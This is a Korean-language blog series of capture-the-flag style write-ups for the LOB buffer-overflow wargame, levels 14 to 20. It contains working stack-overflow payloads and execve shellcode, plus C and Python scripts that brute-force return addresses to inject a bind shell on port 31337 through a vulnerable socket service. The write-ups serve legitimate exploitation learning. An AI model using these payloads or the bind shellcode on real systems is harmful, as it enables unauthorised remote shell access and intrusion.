분류 전체보기 - 148

  1. LOB xavius->death_knight 파이썬으로 풀기 2016.02.11
  2. LOB_20.xavius->death_knight 2016.02.06
  3. LOB_19.nightmare->xavius 2016.02.03
  4. LOB_18.succubus->nightmare 2016.02.03
  5. LOB_17.zombie_assassin->succubus 2016.02.01
  6. LOB_16.assassin->zombie_assassin 2016.01.31
  7. LOB_15.giant->assassin 2016.01.31
  8. LOB_14.bugbear->giant 2016.01.31

LOB xavius->death_knight 파이썬으로 풀기

프로젝트/python 2016. 2. 11. 22:56

보다 자세한 풀이는 http://satanel001.tistory.com/110에 있다.

간략하게 설명하자면 소켓으로 입력을 받는데 버퍼사이즈보다 큰 입력을 받아서 bof공격이 가능한 문제다.

bind쉘코드를 넣어주고 주소를 bruteforce 공격으로 유추하여 풀었는데 파이썬으로 같은 내용을 코딩해봤다.



from struct import *
from socket import *

shellcode=\
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"+\
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"+\
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"+\
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"+\
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"+\
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"+\
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"+\
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"+\
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"

for i in range (0xffff, 0x0000, -32):
        ret=pack("<L", i)
        payload="a"*44+ret[0]+ret[1]+"\xff\xbf"+"\x90"*32+shellcode
        print "ret: " + str(hex(unpack("<L",ret[0]+ret[1]+"\xff\xbf")[0]))

        sock=socket(AF_INET, SOCK_STREAM)
        sock.connect(("localhost", 6666))

        print sock.recv(60)
        print sock.recv(10)

        sock.send(payload)
        sock.close()


주석을 실수로 빼먹었는데 31337번 포트를 여는 bind 쉘코드다.

파이썬으로 코드를 작성해본 적이 거의 없는데도 여기저기서 보고 따라하니 어렵지 않았다.

특이한부분은 pack과 unpack부분... 개념을 잡느라 조금 시간이 걸렸다.

주소값을 0xbfffffff부터 감소시키면서 넣어줘야하는데 서버로 전달되는 입력값은 int형이 아닌 char*이므로 int값을 그대로 char형식으로 보내줘야 했다.(itoa같은 개념이 아니라 정말 해당 숫자에 해당하는 아스키값)

c에서는 unsigned int형 변수를 만든 뒤 char* 포인터로 해당 변수를 가르키게 했었는데 파이썬은 포인터 개념을 사용할 수 없어 저런식으로 해결했다.

pack 함수를 통해서 바이너리 형식의 ret을 받아오고 "<L"은 <가 리틀 엔디안을 의미하고 L은 long형임을 의미하는 듯.

이런식으로 해서 int 변수를 감소시키면서 byte 단위로 문자열로 집어넣는 문제를 해결할 수 있었다.

unpack은 문자열로 표현하기 위해서 역과정을 거친건데 중요하진 않으므로 패스.


for문에서 -32인 이유는 nop의 갯수만큼 뛰어넘어도 반드시 한번은 nop 위로 떨어지게 되는 점을 이용하여 반복을 줄인 것이다.



실제 실행한 모습.. 어느정도 돌리다가 ctrl+z로 백그라운드로 돌려놓고 netstat을 통해 확인해보니 31337포트가 열려있는 것이 보인다.




해당포트로 텔넷으로 접속하여 쉘처럼 똑같이 명령어를 입력할 수 있다. 다만 세미콜론을 붙여줘야한다.


원 포스팅의 c 버전에서는 루프마다 system 함수로 텔넷 접속을 계속 시도햇었는데 조금더 간단하게 짜기 위해 텔넷은 직접 접속하는 방식으로 했다.

끝-


Tags
Social

LOB_20.xavius->death_knight

해킹/LOB 2016. 2. 6. 18:21

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h>
#include <sys types.h> 
#include <netinet in.h>
#include <sys socket.h>
#include <sys wait.h>
#include <dumpcode.h>

main()
{
	char buffer[40];

	int server_fd, client_fd;  
	struct sockaddr_in server_addr;   
	struct sockaddr_in client_addr; 
	int sin_size;

	if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket");
		exit(1);
	}

	server_addr.sin_family = AF_INET;        
	server_addr.sin_port = htons(6666);   
	server_addr.sin_addr.s_addr = INADDR_ANY; 
	bzero(&(server_addr.sin_zero), 8);   

	if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
		perror("bind");
		exit(1);
	}

	if(listen(server_fd, 10) == -1){
		perror("listen");
		exit(1);
	}
        
	while(1) {  
		sin_size = sizeof(struct sockaddr_in);
		if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
			perror("accept");
			continue;
		}
            
		if (!fork()){ 
			send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
			send(client_fd, "You : ", 6, 0);
			recv(client_fd, buffer, 256, 0);
			close(client_fd);
			break;
		}
            
		close(client_fd);  
		while(waitpid(-1,NULL,WNOHANG) > 0);
	}
	close(server_fd);
}
---------
이제 소켓으로 입력값을 받고있다.
6666번 포트를 열어서 듣고있다가 입력값을 256바이트만큼 받는 프로그램이다.
하지만 buffer라는 변수의 크기는 40바이트밖에 안되니 bof 공격이 가능하다.


실행해보았으나 bind 오류가 났다.

VM이 켜지면 자동으로 실행되는듯 하다.

이미 켜져있으므로 이 6666번 포트로 공격을 시도하면 되겠다.


먼저 리모트 환경에서 쉘을 띄우기 위해서는 바인드쉘코드나 리버스쉘코드가 필요한데 나는 31337번포트를 사용하는 바인드쉘코드를 사용했다.

바인드쉘은 공격당하는 서버의 다른 포트를 열어 쉘을 띄우는 것이고 리버스쉘은 공격자의 열려있는 포트로 서버가 접속하도록 하는 것이다.


131byte bindshell code, bind port:31337

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"

이 바인드쉘코드는 구글 검색으로 얻은 쉘코드고 직접 짜는것은 공부를 한 후 다시 포스팅하도록 해야겠다.


이 코드의 원형을 살펴보면

sock = socket(AF_INET, SOCK_STREAM, 0)

bind(sock, (struct sockaddr *)&&host_addr, sizeof(struct sockaddr))//31337번 포트로

listen(sock, 4)

c_sock=accept(sock, NULL, 0)

dup2(c_sock, 0)

dup2(c_sock, 1)

dup2(c_sock, 2)

execve("/bin/sh" ~~~~)

이렇게 된다고 한다.

해석해보면 31337번 포트를 새로 연 뒤 연결 요청이 오면 소켓의 fd를 0, 1, 2로 복사해주고 execve로 쉘을 실행시키는 내용이다.

dup2를 통해 소켓이 stdin, stdout, stderr로 복사되었으니 send하는 내용이 /bin/sh에 stdin으로 들어가고 그 출력이 stdout으로 나와 recv 되는 것이다.



이제 이 쉘코드를 bof를 통해서 실행시켜줄 프로그램을 짜야한다. 파이썬으로 하고싶었으나... 또 익숙한것을 찾느라 c로 작성했다.


#include <stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define BUFSIZE 256
#define RET_LOC 44
#define NOP_COUNT 52
#define TARGET_PORT 6666
#define TARGET_IP "127.0.0.1"
#define BIND_PORT 31337

char bindshell[] =
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
//131byte bind shellcode

int main(int argc, const char* argv[]){
	int sock;
	unsigned int ret=0xc0000000;
	char buffer[BUFSIZE];
	char cmd[100];
	struct sockaddr_in sock_addr;
	
	sprintf(cmd, "%s %s %d", "telnet", "localhost", BIND_PORT);

	
	while(1){
		memset(&sock_addr, 0, sizeof(sock_addr));
		sock_addr.sin_family=AF_INET;
      		sock_addr.sin_port=htons(TARGET_PORT);
     		sock_addr.sin_addr.s_addr=inet_addr(TARGET_IP);
	        sock=socket(PF_INET, SOCK_STREAM, 0);
		if(sock==-1){
			printf("sock error\n");
			return -1;
		}
	        if(connect(sock, (struct sockaddr*)&sock_addr, sizeof(sock_addr)) == -1){
			printf("connect error\n");
			close(sock);
			continue;
		}

		ret -= NOP_COUNT;
		printf("ret: 0x%x\n", ret);
		memset(buffer, '\x90', sizeof(buffer));
		memcpy(buffer+RET_LOC, &ret, 4);
		memcpy(buffer+100, bindshell, strlen(bindshell));
		
		send(sock, buffer, strlen(buffer), 0);
		
		system(cmd);
                sleep(1);
		close(sock);

	}
return 0;
}

작성한 코드는 이러하다.

ret주소를 0xc0000000부터 52씩 줄여가면서 바인드쉘코드 부분이 실행되도록 시도하고 telnet으로 바인딩된 33137포트에 접속을 시도하는 내용이다.

리턴주소를 1바이트가 아닌 52바이트씩 줄이는 이유는 리턴주소에서 쉘코드 부분까지 100-48=52개의 nop이 들어가기 때문인데 이중 아무곳에나 리턴주소가 떨어지면 되므로 반복을 줄이기 위해서 52바이트씩 줄여나가는 것이다.

xavius 권한으로 다른포트를 사용하는 똑같은 프로그램을 만든 뒤 gdb를 사용해서 attatch 하면 저렇게 ret주소를 줄이면서 반복적으로 할 필요가 없지만 어차피 프로그램을 짜야한다면 이 방법이 훨씬 빠르고 원본파일과 똑같은 복사본을 얻을수 있는것도 특이한 상황이기에 그냥 ret 주소를 브루트포싱을 이용해서 때려맞추도록 코딩했다.

sleep(1)은 같은 코드로 자꾸 되다 안되다 해서 혹시 반복문이 돌면서 뭔가 어긋나나 해서 넣어보니 비교적 안정적으로 돌아가는듯 하다.

하다보면 같은 코드로 자꾸 되다 안되다 하고 death_knight 프로그램이 두개씩 켜져있고 하는데 원인을 잘 모르겠다... LOB 서버를 재부팅하고 다시 시도해보면 또 되고 한다. 안정적으로 만들 방법이 필요하긴 한듯...




아무튼 공격이 제대로 작동할때는 이런식으로 death_knight의 쉘을 사용할 수 있다.

끝-



'해킹 > LOB' 카테고리의 다른 글

LOB_19.nightmare->xavius  (0) 2016.02.03
LOB_18.succubus->nightmare  (0) 2016.02.03
LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
Tags
Social

LOB_19.nightmare->xavius

해킹/LOB 2016. 2. 3. 18:46


코드도 길어졌고 특이한 부분도 많이 보인다.

우선은 argv를 사용하지 않고 fgets를 통해서 stdin으로 입력을 받고있다.

먼저 \xbf와 \x08로 시작하는 리턴주소는 사용할 수 없다.

그래도 \x40으로 시작하는 라이브러리 주소는 사용할 수 있으니 그쪽으로 점프할까 했으나..

\x90\x90 즉 nop들이 나오기 전에 \xc9(leave)와 \xc3(ret)이 나오면 안되는 구조다. 즉 라이브러리 함수를 사용할 수 없다.

일반적인 함수의 구조를 사용할 수 없다면 쉘코드를 사용해야 하는데 버퍼로는 뛸수 없으니 stdin의 위치를 찾는 수밖에 없겠다.



일단은 xavius 프로그램을 실행시켜놓고 프로세스의 maps를 읽어봤다.

일단은 읽을 수 있는 부분이 전부 나오는듯 한데 저중에서 08과 bf로 시작되는 부분을 빼면 40000000~ 4010d000까지다.

이부분 어딘가에 stdin이 있을 것이다.





fgets 직후인 main+26부분에 bp를 걸고 a를 잔뜩 집어넣어 준 뒤 0x40000000부분부터 메모리를 쭉 훑어봤다.

0x40015000부터 내가 넣은 입력값이 들어있는 것을 확인할 수 있었다. 저부분으로 점프주소를 넣어주면 되겠으나 00은 넣어줄 수 없으므로 0x40015001로 점프하도록 하자.




(python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"aaaa"+"\x01\x50\x01\x40"';cat)|./xavius






쉘코드에 잘 접근한 모양이다. 공격에 성공했다.

사실 stdin의 주소를 디버깅을 통해서도 어느정도 예측할 수 있었다. fgets함수를 오랫동안 뜯어보면서 그안에서 stdin의 주소로 생각되는 부분을 찾아냈지만 더 효율적인 방법으로만 포스팅 하기로 했다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_20.xavius->death_knight  (0) 2016.02.06
LOB_18.succubus->nightmare  (0) 2016.02.03
LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
Tags
Social

LOB_18.succubus->nightmare

해킹/LOB 2016. 2. 3. 16:49


이전 문제들과 크게 다르지는 않지만 strcpy함수를 공격해야한다는 점, plt 주소를 사용한다는 점이 조금은 다르다.

plt주소는 공유라이브러리를 사용하기 위해서 존재하는데 자세한 설명은 http://satanel001.tistory.com/29에 got overwrite를 설명하면서 적어놨던 것 같다.


중간에 check adress부분처럼 &strcpy 이런식으로 주소를 가져오면 addr에는 plt 주소가 들어가게 되는 모양이다.




objdump의 -S 옵션을 사용하면 이렇게 plt라는 테이블의 시작주소를 얻을 수 있다.




그러고나서 gdb로 plt를 훑어보니 strcpy의 plt 주소가 나온다. 물론 프로그램을 실행시킨 다음 메모리에 있는 값을 봐도 똑같이 주소를 얻을 수 있다.

프로그램의 addr check 부분을 넘어가기 위해서 이 주소로 점프해야한다.

딱히 특이한 것은 없고 이주소로 점프하면 got나 dl runtime resolve를 통해서 공유 라이브러리에 있는 실제 strcpy의 주소로 넘어가게 된다.



우선 그렇게 리턴할 주소는 정해졌고... 프로그램을 보니 리턴주소 다음 4바이트를 "AAAA"로 덮도록 해놨다. strcpy가 그냥 종료되면서 자연스럽게 다른 주소로 점프되는 것을 막고 strcpy의 기능을 이용해서 strcpy의 리턴주소를 다시 덮으라는 의미인듯 하다.


strcpy(char* destination, const char* source) 이런식으로 호출되는 함수이므로 ebp+8에 destination의 주소, ebp+12에 source의 주소가 들어갈 것이다.

데스티네이션으로는 strcpy의 리턴 주소를 주고, 덮을 내용이 담긴 주소를 source로 줘서 리턴주소를 다시 덮어줄 수 있다.





./nightmare `python -c 'print "a"*44+"\x10\x84\x04\x08"+"AAAA"+"dddd"+"ssss"+"rrrr"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이런식으로 코어파일을 만들어줬다.

AAAA가 들어갈 부분에는 미리 AAAA를 넣어줬고(strcpy의 리턴주소가 들어갈 자리다.)

dddd는 데스티네이션 주소가 들어갈 부분

ssss는 소스의 주소가 들어갈 부분

rrrr은 리턴주소값이고

뒷부분은 쉘코드이다.

코어파일을 분석해보면



메모리가 이렇게 쓰여있다.

여기서 우선 데스티네이션을 0x64646464 대신 리턴주소가 들어가는 부분인 0xbffffa80을 넣어준다.

그리고 소스로 0x73737373 대신 리턴값(0x72727272)가 시작되는 0xbffffa8c를 넣어준다.

그리고 리턴값을 0x72727272 대신 쉘코드가 시작될 부분을 넣어주면 된다.

그런데 쉘코드가 지금 메모리 상에서는 0xbffffa90에서 시작되지만 strcpy함수가 동작하면서 0x72727272다음에 널바이트가 없으므로 뒤에있는 쉘코드 역시 한 문장으로 인식할 것이다. 그래서 최종적으로 쉘코드의 위치는 리턴주소 다음부분인 0xbffffa84부분이 될 것이다.

이렇게 페이로드를 구성해주면


./nightmare `python -c 'print "a"*44+"\x10\x84\x04\x08"+"AAAA"+"\x80\xfa\xff\xbf"+"\x8c\xfa\xff\xbf"+"\x84\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`





성공이다. plt를 사용하라고는 했는데 무슨 의미가 있는지 모르겠다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_20.xavius->death_knight  (0) 2016.02.06
LOB_19.nightmare->xavius  (0) 2016.02.03
LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
Tags
Social

LOB_17.zombie_assassin->succubus

해킹/LOB 2016. 2. 1. 21:54


코드가 매우 길다.

특이한 점은 점프를 항상 DO라는 함수로만 해야한다는 점. 그리고 LD_PRELOAD를 포함해서 스텍에 다른 사용할 수 있는 부분이 거의 다 memset 된다.

100만큼의 extra space만 남겨준다고 한다.


보아하니 check이라는 전역변수를 사용해서 DO -> GYE -> GUL -> YUT -> MO 도개걸윷모를 순서대로 실행시켜야만 마지막에 MO에 cmd로 전달되는 내용을 system 함수로 실행시켜 주는 내용이다.



음... 먼저 이 문제의 의도대로 풀어보자면

함수의 프롤로그는 push ebp , mov ebp esp 이고 에필로그는 leave, ret 풀어쓰면 mov esp ebp, pop ebp, pop eip jmp eip 이렇게 된다.

알아보기 힘들지만 중요한건 프롤로그 과정에서 push는 한번 되지만 에필로그에서는 pop이 두번 나온다는 것이다.

즉 ret의 주소가 다른 함수의 프롤로그일 경우 그 함수가 ret 할때 esp의 주소는 이전 리턴주소의 바로 뒷부분 4바이트라는 뜻이다.

쉽게말해 4바이트씩 다음 함수의 리턴주소를 계속 붙여주면 된다.

(a*44 || &DO || &GYE || &GUL || &YUT || &MO) 이런식으로 해주면 최종적으로 모까지 실행은 될것이다.


한가지 문제점이라면 MO가 ebp+8부분에 인자를 필요로 한다는 것인데 main buffer[0~44]를 전부 0으로 채워버리기 때문에 이때 ebp값은 0이 들어가있게 된다.

이부분을 해결하기 위해서 YUT을 실행할때 push ebp를 생략한 YUT+1부분으로 점프하면 된다. push가 한번 생략되었기 때문에 이전 GUL 함수의 리턴 뒷쪽 4바이트가 leave 과정에서 ebp로 들어간다. 이부분에 "/bin/sh"를 가르키는 주소의 주소 -8을 넣어주면 된다. 

말이 굉장히 어렵게 들리는데 좀 순화하자면 들어가는 fake ebp의 +8부분에 있는 주소가 "/bin/sh"를 가르키고 잇으면 된다.

거기에 esp가 ebp로 들어가지 않게 하기위해서 MO 역시 프롤로그를 생략하고 MO+3 부분에서 시작해야 한다.

그래서 최종적인 구성은


(a*44 || &DO || &GYE || &GUL || &YUT+1 || fake ebp || &MO+3 || &"/bin/sh" || "/bin/sh")

여기서 fake ebp는 자기자신의 주소를 가르키면 +8에 있는 &"/bin/sh"부분을 첫번째 인자로 인식할 것이고

&"/bin/sh"는 자기자신 바로 뒷쪽을 가르키고 이부분에 문자열 "/bin/sh"를 넣어주면 되겟다.

"/bin/sh"를  system 함수 뒷쪽 라이브러리에 있는것을 쓰고는 싶었으나 0x40이 들어가니 strchar함수에 걸려 막혀버린다.



우선 각 부분들의 주소를 확인해보자.



각각의 점프할 주소들을 구해주고


코어덤프를 이용해서 정확한 주소도 구해준다. 0x63636363 대신 들어갈 fake ebp가 자가지산의 주소인 0xbffffa5c를 가지면 된다.

그리고 밑에 0x64646464가 들어있는 부분이 자기자신의 바로 뒷쪽인 0xbffffa68을 가르키게 하고 저부분에 "/bin/sh"를 넣어주자.


./succubus `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5d\x87\x04\x08"+"\x5c\xfa\xff\xbf"+"\x27\x87\x04\x08"+"\x68\xfa\xff\xbf"+"/bin/sh"'`

최종적인 페이로드는 이렇게 된다. 시도해보면




이런식으로 도 개 걸 윳 모를 차례로 통과하며 쉘을 띄워준다.

끝-


이아니라  꼭 이렇게 출제의도대로 고분고분하게 문제를 풀 필요는 없다.

이 문제에서는 스텍 뒷쪽 100바이트나 여분의 공간을 줬고 그부분을 어떻게 사용하든 내마음이다.

main의 리턴은 반드시 DO여야 하므로 첫번째 리턴은 &DO를 주지만 그 뒤에는 쉘코드를 넣고 그 위치로 리턴해도 된다.


페이로드 구성은 ( a*44 || &DO || &바로뒤 || 쉘코드 )

비슷한 과정으로 주소를 구해서 페이로드를 뽑아보면


./succubus `python -c 'print "a"*44+"\xec\x87\x04\x08"+"\x54\xfa\xff\xbf"+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이렇게 된다. 41바이트 쉘코드가 들어있으서 페이로드 자체는 길고 복잡해 보이지만 사실은 훨씬 쉽게 푸는 방법이다.

돌려보면




이런식으로 DO만 거치고도 쉘을 띄울수 있다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_19.nightmare->xavius  (0) 2016.02.03
LOB_18.succubus->nightmare  (0) 2016.02.03
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_15.giant->assassin  (0) 2016.01.31
LOB_14.bugbear->giant  (0) 2016.01.31
Tags
Social

LOB_16.assassin->zombie_assassin

해킹/LOB 2016. 1. 31. 19:51


이제 리턴 뒷쪽을 사용할 수 없게 되었다.

전에 RTL을 할 때 언급했지만 이런식으로 바운더리 체크를 해서 곤란한 경우에는 fake ebp를 유용하게 써먹을 수 있다.

주석에도 FEBP라는 힌트가 보인다.



전단계에서 사용했더 ret이 pop eip, jmp eip 의 기능을 하는것처럼 leave도 특수한 동작을 한다.


1.mov esp ebp

2.pop ebp

leave 명령어는 이런 두가지 동작을 합쳐놓은 명령어다.


보면 esp를 ebp 위치까지 당겨오고 그 위치 스텍에 있는 값을 ebp로 넣어주는 기능이다.

ebp가 가르키는 주소에는 원래 SFP값이 들어있으므로 보통은 SFP가 ebp로 넘어가게 된다.

하지만 지금 입력을 48바이트 받는과정에서 SFP와 RTN을 변조할 수 있으므로 ebp에 원하는 값을 넣어줄 수 있다.

그다음 나오는 ret의 주소를 leave 부분으로 해서 다시 leave를 실행하게 되면??

1.mov esp ebp를 하며 fake ebp가 esp로 들어가게 된다.

그리고 2.pop ebp를 하면서 esp가 4바이트 뒤에 위치하게 되고 다음 ret할때의 주소를 바로 이 위치에서 읽게 된다.

즉 leave 부분이 실행되면서 다음 리턴주소는 fake ebp+4 주소가 된다는 뜻이다.





우선은 환경변수 어딘가에 쉘코드를 넣어주고 주소를 구한다. 점프주소는 5000정도 뒤인 0xbfffea14정도로 하겠다




strncpy가 끝나고 스텍의 모습이다. 0x62626262가 들어있는 부분이 점프할 주소가 들어갈 부분이고 그보다 4바이트 앞인 0xbfffd340을 fake ebp로 넣어주면 되겠다.

즉 0x62626262 대신에 점프할 주소인 0xbfffea14를 넣고

0x63636363 대신 fake ebp인 0xbfffd340을 넣어준다.

마지막으로 0x64646464가 들어있는 부분에는 리턴주소를 넣어줘야 한다. main에서 마지막 leave가 나오는 부분으로 점프하면 된다.




해당주소는 0x080484df임을 확인했다. 페이로드를 짜보면


./zombie_assassin `python -c 'print "a"*36+"\x14\xea\xff\xbf"+"\x40\xd3\xff\xbf"+"\xdf\x84\x04\x08"'`





한번에 성공했다.

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_18.succubus->nightmare  (0) 2016.02.03
LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_15.giant->assassin  (0) 2016.01.31
LOB_14.bugbear->giant  (0) 2016.01.31
LOB_번외.bash2의 함정.  (0) 2016.01.29
Tags
Social

LOB_15.giant->assassin

해킹/LOB 2016. 1. 31. 18:19


이제는 라이브러리로의 점프까지 막아놨다.

여러가지로 헤메다 결국 답을 봤는데 조금 충격이었다.

여태까지 RTL이나 execve등 뒷쪽 버퍼를 막지 않는 문제는 전부다 이방법으로 풀 수 있었을듯.


찾아낸 답은 ret이 있는 main의 주소로 다시 점프하는 것이다

ret은 pop eip, jmp eip 의 역할을 하므로 리턴까지 읽은 esp가 그 다음 4바이트로 다시 점프할 것이다.

결국 페이로드는 매우 간단하게 (a*44 ||  ret의 주소 || 리턴할 주소)

이렇게 된다.



gdb를 이용해 ret의 주소가 0x0804851e인것을 확인하고..




환경변수에 놉과 쉘코드를 넣고 주소를 구해준다. 0xbfffd83a에서 시작하는데 5000정도 더해서 0xbfffea15정도로 점프해주자.

완성된 페이로드는


./assassin `python -c 'print "a"*44+"\x1e\x85\x04\x08"+"\x15\xea\xff\xbf"'`




성공!




'해킹 > LOB' 카테고리의 다른 글

LOB_17.zombie_assassin->succubus  (0) 2016.02.01
LOB_16.assassin->zombie_assassin  (0) 2016.01.31
LOB_14.bugbear->giant  (0) 2016.01.31
LOB_번외.bash2의 함정.  (0) 2016.01.29
LOB_13.darkknight->bugbear  (0) 2016.01.29
Tags
Social

LOB_14.bugbear->giant

해킹/LOB 2016. 1. 31. 15:03


코드가 길어지고 모르는 함수들이 나와서 조금은 당황스럽다.

처음에는 popen 하고 buffer로 옮기는 과정에서 뭔가 해줘야 하는줄 알았으나 //gain ~~~ //end 이부분은 그냥 execve함수의 주소를 가져오기 위한 부분일 뿐이다.

그러므로 지난 darkknight->bugbear 문제와 동일하게 풀되 함수만 execve를 사용하면 된다.


먼저 bugbear 폴더에 tmp폴더를 만들어서 복사본을 만들고 gdb로 열어봤다.



어셈블리 코드가 매우 길다. 블록지정한 부분이 execve_addr = lib_addr + (int)execve_offset; 부분이다.

main+201에 bp를 걸고 ebp-56에 execve의 주소가 어떻게 들어가는지 살펴보자.





0x080da023이라고 나와있어서 해당 메모리를 살펴보니 접근할 수 없다고 한다.

그래서 p execve를 해서 실제 execve의 주소를 살펴보니 0x400a9d48로 차이가 많이난다.

이 문제는 첫번째 popen이 실패하기 때문에 발생한다. 복사본은 setuid가 걸려있지 않아서 /home/giant/assassin에 대한 접근 권한이 없어서 제대로된 주소를 읽어오지 못하는 탓이다.

하지만 원본 파일에서는 아마도 제대로 execve의 주소를 가져올 것이고 그 주소는 아마도 0x400a9d48과 일치할 것이다.

먼저 원본파일에 값을 넣어 확인해보자.





처음에 리턴주소에 \x400a9d48을 넣어줬을 때 You must use execve!가 나와서 조금 당황했다.

하지만 주소가 틀렸던 것은 아니고 "\x0a"가 리눅스에서 개행으로 인식하기 때문이다. 이렇게 되면 뒷부분이 짤리게 된다.

""를 사용해서 전체 파이썬 스크립트를 감싸주니 You must use execve 메시지가 더이상 나오지 않는다. 주소가 맞는 모양이다.




그럼 이제 execve로 넘어갈 인자를 줘야하는데.. 저번처럼 SFP를 변조하는 방식으로는 못하고 main 스텍의 뒷쪽 부분을 이용해야 한다.

함수가 호출되었을때 이전 함수에서 넘어오는 인자는 ebp+8, ebp+12, ebp+16 ... 이런식으로 들어간다. 그림을 그려보면




이렇다. ret 한 후에 execve가 프롤로그 과정을 거치면서 위에 보이듯이 원래 main의 리턴주소에서 8바이트 뒷쪽부터 인자가 들어간다.

즉 페이로드를 (더미 44바이트 || 리턴주소 || 더미 4바이트 || 인자1 || 인자2 || 인자3)이렇게 넣어주면 되겠다.


그럼 이제 인자로 어떤 값들을 넣어줄까 생각해보자.

내가 실행하고자 하는 코드는 대략

char* argv2[2]={"/bin/sh", }

execve("/bin/sh", argv2, NULL);


이정도다. argv2[0]으로 "/bin/sh"를 꼭 넣어줘야 하는지 확신은 없지만 보통 들어가므로 넣어줘서 나쁠건 없다.

첫번째 인자로 넘어갈 "/bin/sh"는 system 함수의 아랫쪽에 들어있다는 사실을 알고는 있으나 이번에는 argv[2]에 직접 넣어준 다음 주소를 전달할 생각이다.

왜냐하면 두번째로 argv2 인자를 넘겨줄때 main함수의 argv 부분을 이용할 생각이기 때문인데..

argv[0]=/home/bugbear/giant

argv[1]="a"*44+rtn+인자들~~

argv[2]="/bin/sh"

이렇게 구성된 argv 테이블에 argv[2]의 주소를 argv2[0]의 주소라고 전달해 줄 것이다. 주소로 된 테이블 형식과 뒤에 4바이트 null값이 필요하기 때문이다.


자 그러면 코어파일을 만들어서 정확한 주소를 계산해보자.





복사본 파일이라 assassin 파일을 읽을 수 없는 관계로 execve의 주소를 잘못된 주소로 넘겼지만 코어파일만 생성되면 되므로 그냥 넘어가고...

